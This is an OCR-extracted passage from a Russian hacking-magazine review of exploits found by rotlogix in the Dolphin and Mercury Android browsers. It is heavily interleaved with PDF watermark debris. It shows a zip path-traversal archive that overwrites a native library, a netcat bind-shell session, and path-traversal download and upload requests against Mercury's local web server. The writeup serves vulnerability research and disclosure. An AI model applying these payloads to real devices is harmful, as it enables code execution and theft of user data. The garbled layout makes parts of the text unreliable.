книги хакеры / журнал хакер / 200_Optimized
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
|
|
|
Наш сегодняшний обзор будет посвящен уязвимостям в различных |
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
|||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
браузерах. Начнем с анализа ошибок, которые исследователь rotlogix нашел в популярных браузерах для Android. Закончим уязвимостью нулевого дня в Mozilla Firefox, которую использовали для атаки через рекламные блоки на новостных сайтах. Хоть она и была оперативно устранена, но оставила небольшой осадок.
УДАЛЕННОЕ ВЫПОЛНЕНИЕ КОДА
В DOLPHIN BROWSER ДЛЯ ANDROID
CVSSv2 |
N/A |
Дата релиза: |
22 августа 2015 года |
Автор: |
rotlogix |
CVE: |
N/A |
Dolphin — популярный браузер для Android, количество установок которого находится в диапазоне от 50 до 100 миллионов. Уязвимость в нем — это не шутки.
Атакующий, у которого есть возможность контролировать трафик пользователя этого браузера, может изменить процесс загрузки и установки новых тем оформления для браузера. В ходе такого изменения можно записать любой файл в систему, что позволяет выполнить произвольный код в контексте уязвимого приложения. Для начала разберем подробно этот процесс.
Загрузка выбранной темы оформления происходит по протоколу HTTP.
GET http://opsen-static.dolphin-browser.com/resources/
themestore/Red_roof.dwp
Она сохраняется в стандартной папке Download внешней карты.
root@hammerhead:/sdcard/Download # ls
Red_roof.dwp
Пусть тебя не смущает расширение dwp, это просто особенность браузера Dolphin. На самом деле это обычный ZIP.
$ ile Red_roof.dwp
Red_roof.dwp: Zip archive data, at least v2.0 to extract
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
|
|
|
w Click |
|
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
Изучив содержимое, ты можешь увидеть данные, которые используются для |
|
. |
|
|
|
|
|
|
.c |
|
|||||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
||||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
установки новой темы. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
unzip -l Red_roof.dwp.orig |
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Archive: |
Red_roof.dwp.orig |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Length |
Date |
Time |
Name |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-------- |
---- |
---- |
---- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
18165 |
12-18-14 09:57 |
icon.jpg |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
237 |
12-19-14 14:35 |
theme.conig |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
131384 |
12-18-14 09:54 |
wallpaper.jpg |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
-------- |
|
|
------- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
149786 |
|
|
3 iles |
|
|
|
|
|
|
|
|
|
|
|
|
После реверсинга активности (Activity) приложения автор нашел обработчик, который распаковывал скачанную тему и устанавливал соответствующую конфигурацию.
EXPLOIT
Первым шагом эксплуатации станет проксирование трафика и инъекция модифицированной темы. Для этого была выбрана программа mitmdump и небольшой скрипт:
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Запуск mitmdump для перехвата тем оформления браузера Dolphin
Также нам требуется что-то для эксплуатации процесса распаковки. Соответствующая технология подробно расписана исследователями из компании NowSecure.
Для ее использования нужна возможность записи произвольных файлов и файл, который можно переписать. После небольшого анализа содержимого автор нашел кандидата. Это библиотека ibdolphin.so.
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser # cd iles/
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/iles # ls
AppEventsLogger.persistedevents
EN
icons_cache
libdolphin.so
name_service
splash.on
В качестве проверки был создан специальный архив:
unzip -l Red_roof.dwp
Archive: |
Red_roof.dwp |
|
|
|
Length |
Date |
Time |
Name |
|
-------- |
---- |
---- |
---- |
|
18165 |
12-18-14 09:57 |
icon.jpg |
||
237 |
12-19-14 14:35 |
theme.conig |
||
131384 |
12-18-14 09:54 |
wallpaper.jpg |
||
7 |
08-21-15 20:26 |
../../../../../../data/data/mobi.mgeek. |
||
TunnyBrowser/iles/libdolphin.so |
||||
-------- |
|
|
------- |
|
159142 |
|
|
4 iles |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
|||||
P |
|
|
|
|
|
NOW! |
o |
|
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
|
w Click |
|
|
|
|
|
|
m |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
После успешного MITM-перехвата с нужной инъекцией и перемотки вывода от- |
|
. |
|
|
|
|
|
|
.c |
|
|||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
p |
|
|
|
|
g |
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
ладочной информации с устройства в Logcat было найдено то, что нужно.
D/dalvikvm( 2573): Trying to load lib /data/data/mobi.mgeek.
TunnyBrowser/iles/libdolphin.so 0x42e0c318
E/dalvikvm( 2573): dlopen(“/data/data/mobi.mgeek.TunnyBrowser/iles/
libdolphin.so”) failed: dlopen failed: “/data/data/mobi.mgeek.
TunnyBrowser/iles/libdolphin.so” is too small to be an ELF executable
....
...
.
root@hammerhead:/data/data/mobi.mgeek.TunnyBrowser/iles # cat libdolphin.so
foobar
Теперь нам надо создать свою библиотеку:
Для компилирования воспользуемся Android NDK и добавим ее в наш скрипт-пе- рехватчик.
Протестируем снова. После установки новой темы и рестарта браузера в логах видим, что наша библиотека была успешно загружена:
D/dalvikvm(24702): Trying to load lib /data/data/mobi.mgeek.
TunnyBrowser/iles/libdolphin.so 0x42e080a8
D/dalvikvm(24702): Added shared lib /data/data/mobi.mgeek.
TunnyBrowser/iles/libdolphin.so 0x42e080a8
Теперь можем подсоединиться к атакованному устройству, используя стандартный netcat:
> nc 10.174.90.159 6666
id
uid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028
(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrusted_app:s0
ls
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
acct |
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
cache
charger
conig
d
data
default.prop
...
ueventd.rc
vendor
Проверка работы шелла на устройстве с уязвимым Dolphin browser
Исходники эксплоита можно скачать с гитхаба автора.
TARGETS
Dolphin Browser (версия на 27.07.2015 была уязвима).
SOLUTION
Разработчики уведомлены о проблеме.
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
|
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
УЯЗВИМОСТИ В БРАУЗЕРЕ MERCURY ДЛЯ ANDROID |
||
|
. |
|
|
|
|
|
.c |
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
CVSSv2 |
N/A |
|
|
|
|
|
|
|
|
|
|
|
Дата релиза: |
23 августа 2015 года |
|
|
|
|
|
|
|
|
|
|
|
Автор: |
rotlogix |
|
|
|
|
|
|
|
|
|
|
|
CVE: |
N/A |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Mercury Browser тоже довольно популярен, хоть и меньше, чем Dolphin (у него от полумиллиона до миллиона установок).
Первое, что автор проверил при реверсинге браузеров для Android, — это безопасность обработчика Intent для схем URI. В этом ему помог софт Lobotomy. Он загрузил анализируемое приложение в него и воспользовался модулем bowser.
(lobotomy) loader /Users/benjaminwatson/Android-Web-Browsers/mercury/
apk/com.ilegendsoft.mercury.apk
[2015-08-23 16:11:49.179402] Loading : /Users/benjaminwatson/
Android-Web-Browsers/mercury/apk/com.ilegendsoft.mercury.apk
(lobotomy) bowser enum
[2015-08-23 16:12:11.632313] Searching for parseUri()
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->
shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)
Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String;
I)Landroid/content/Intent;
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->
shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)
Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String;
I)Landroid/content/Intent;
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->
shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)
Z (0x31c) --->Landroid/content/Intent;->parseUri(Ljava/
lang/String; I)Landroid/content/Intent;
Использование модуля bowser для Lobotomy (начало)
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Использование модуля bowser для Lobotomy (окончание)
Модуль bowser нашел несколько мест, где была вызвана функция parseUri(), то есть где Intent URI-схема конвертируется в объект Intent.
После небольшого анализа автор обнаружил, что в браузере имеется небезопасный код.
В Lobotomy имеются и веб-сервисы, основанные на Flask, которые можно использовать для вызова этого кода.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
Небезопасная реализация обработчика Intent позволяет атакующему запускать private Activities (это такие активности, которые недоступны извне), используя специально созданную страницу. Далее автор загрузил Mercury Browser в Lobotomy и запустил встроенные модули для поиска доступных компонентов.
...
..
.
[2015-08-23 13:07:39.810710] Activity : com.ilegendsoft.mercury.
ui.activities.PasscodeActivity
[2015-08-23 13:07:39.810722] Activity : com.ilegendsoft.mercury.
ui.activities.bookmark.BookmarksImportFilesActivity
[2015-08-23 13:07:39.810732] Activity : com.ilegendsoft.mercury.
ui.activities.FlipTabsActivity
[2015-08-23 13:07:39.810741] Activity : com.ilegendsoft.mercury.
ui.activities.SplashActivity
[2015-08-23 13:07:39.810750] Activity : com.ilegendsoft.mercury.
external.wfm.ui.WFMActivity2
[2015-08-23 13:07:39.810759] Activity : com.ilegendsoft.mercury.
external.zxing.CaptureActivity
[2015-08-23 13:07:39.810767] Activity : com.dropbox.client2.android.
AuthActivity
[2015-08-23 13:07:39.810830] Activity : com.ilegendsoft.mercury.
ui.activities.zcloud.PushUrlActivity
[2015-08-23 13:07:39.810864] Activity : com.ilegendsoft.mercury.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
ui.activities.ilemanager.FileManagerActivity |
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
[2015-08-23 13:07:39.810877] Activity : com.ilegendsoft.mercury.
ui.activities.ilemanager.SubFolderActivity
...
..
.
После нескольких проб и ошибок было найдено то, что нужно, — активность com.ilegendsoft.mercury.external.wfm.ui.WFMActivity2, которая является private Actitivity внутри браузера Mercury. После дальнейшего реверсинга оказалось, что у нее есть особенность, которая позволяет делать резервную копию и восстанавливать что-то сохраненное на SD-карте браузером или другим приложением. Это стало возможно из-за того, что данная Activity вызывается Broadcast Receiver и зарегистрирована как обработчик для действия org. join.action.SERV_AVAILABLE. Углубившись еще дальше, автор заметил, что создаваемый сервис называется WebService и явно привязан к локальному устройству. Внутри WebService находится метод onBind(), который, в свою очередь, вызывает openWebServer():
Здесь автор понял, что созданный веб-сервер предназначен для обработки данных на SD-карте браузером и доступен другим устройствам в локальной сети.
((HttpRequestHandlerRegistry)localObject3).register(“/dodownload”,
new HttpDownHandler(this.webRoot));
((HttpRequestHandlerRegistry)localObject3).register(“/dodelete”,
new HttpDelHandler(this.webRoot));
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
((HttpRequestHandlerRegistry)localObject3).register(“/doupload”, |
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
new HttpUpHandler(this.webRoot));
((HttpRequestHandlerRegistry)localObject3).register(“/doprogress”,
new HttpProgressHandler());
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
WebServer регистрирует специфичные URI-пути для скачивания, удаления и загрузки файлов. У него есть еще одна особенность — он всегда биндится на один и тот же порт, поэтому автор настроил проксирование трафика и начал проверять перечисленные функции сервера.
EXPLOIT
После всех проверок исследователь нашел уязвимость типа раскрытия путей и смог читать различные данные внутри директории Mercury.
/dodownload?fname=../../../../data/data/com.ilegendsoft.mercury/
shared_prefs/passcode.xml
Атакующий может не только скачать файлы с устройства, но и переписать их.
POST /doupload?dir=../../../../data/data/com.ilegendsoft.mercury/
shared_prefs/&id=c2f18b1f-8d77-4a73-98f8-2cb1461f70c4 HTTP/1.1
Host: 10.174.90.159:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0)
Gecko/20100101 Firefox/39.0
...
Content-Disposition: form-data; name=”Download/”; ilename=”test.txt”
Content-Type: text/plain
test
-----------------------------20198766556454488091118231866--
root@hammerhead:/data/data/com.ilegendsoft.mercury/shared_prefs # ls
LASConig.xml
...
test.txt
zcloud_db.xml
В итоге для эксплуатации нам потребуется:
•создать специальную HTML-страницу для вызова WiFi Manager Activity с Intent URI схемой;
•узнать IP-адрес устройства;
•опрашивая устройство, дождаться получения уведомления о вызове Activity;
•проэксплуатировать уязвимость раскрытия путей.